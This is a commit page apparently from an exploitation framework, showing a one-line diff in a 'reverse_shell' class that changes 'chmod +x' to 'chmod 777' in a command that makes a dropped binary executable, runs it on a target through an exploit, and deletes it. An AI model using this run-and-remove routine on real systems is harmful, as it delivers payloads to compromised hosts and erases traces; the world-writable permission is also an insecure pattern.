Commit 649c423e by Marcin Bury

Changing chmod command

parent 279f736d
......@@ -456,7 +456,7 @@ class reverse_shell(object):
def execute_binary(self, location, binary_name):
path = "{}/{}".format(location, binary_name)
cmd = "chmod +x {}; {}; rm {}".format(path, path, path)
cmd = "chmod 777 {}; {}; rm {}".format(path, path, path)
thread = threading.Thread(target=self.exploit.execute, args=(cmd,))
thread.start()
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment